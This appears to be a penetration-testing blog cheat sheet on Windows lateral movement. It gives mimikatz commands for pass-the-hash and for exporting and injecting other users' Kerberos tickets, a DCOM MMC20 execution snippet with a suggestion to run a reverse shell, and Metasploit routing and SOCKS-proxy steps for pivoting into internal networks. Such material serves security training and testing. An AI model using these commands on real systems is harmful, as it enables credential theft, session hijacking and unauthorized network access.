Logon on another system with a NTLM hash
Scenario:
- You are admin on a Windows system
- You have another user’s NTLM hash
Then, use mimikatz to inject another user’s NTLM hash into the secret storage:
- Inject the NTML hash for another user:
sekurlsa::pth /user:peter /domain:dom.ain /ntlm:ed6686fedb60840cd49b5286a7c08fa4 /run:powershell
After executing this command, a PowerShell (or something else…) is opened for the other user. - Try to login somewhere as the other user:
net use \\files
This performs also a login to the file server, where now peter is used. - See the tickets:
klist
Steal another user’s session
Scenario:
- You have administrative privileges for a Windows user A.
- Another user B has a current session on the same system.
- We want do do something with B’s privileges, e.g. access a web share
\\files\backup.
Then, with the use of mimikatz:
privilege::debug
sekurlsa::tickets /export
This exports available tickets into the working directory (suffix .kirbi). Then, choose one file/ticket from the correct user and service. For example: The file
[0;bce15]-0-0-40810000-peter@cifs-files04.kirbi
contains the TGS ticket from the user peter for the CIFS (file share/smb) service on server files04. In mimikatz, inject this TGS to the current (other) user with
privilege::debug
kerberos::ptt $filename
Check then with klist that the other users tickets war injected. Then, you can access the resource e.g. with ls \\files\backup.
Logon on another system via DCOM
Note: See Cybereason for more techniques.
Scenario:
- You are on a shell of an user who is also a local admin.
In PowerShell, create a DCOM connection and replace calc.exe with a PowerShell reverse code or something else more useful:
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","$target"))
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")
Open a reverse shell handler before, obviously.
Pivoting to an internal network with Metasploit
Scenario:
- You are on system A and detected another network 10.10.10.0/24 you could reach via A.
Manually:
- Open a meterpreter session on the first target.
- Background the session with
bg. - Set a route to the target network via the suspended session:
route add 10.10.10.0/24 $sessionID - Now, you can use IPs from this network in Metasploit for other modules.
- One example, port scanning:
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.42
set PORTS 80,443,1234
run
- One example, port scanning:
Automatic: This module detects all network interfaces on the target and creates routes for all subnets:
- Open a meterpreter session on the first target.
- Background the session with
bg. - Use the autoroute module:
use multi/manage/autoroute
set session $sessionID
run - Now, check with route that all routes were added.
Afterwards: Set up a SOCKS proxy so that other software on the own system can interact with the internal host (use proxychains with this proxy):
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
run -j
Now, 127.0.0.1:1080 can be used.
Other links
- Maintain shell access
- See the Reverse shell article, it contains various (PowerShell) techniques which can also be used to spawn shells on other systems.
- See Command Execution on Windows
Leave a Reply
You must be logged in to post a comment.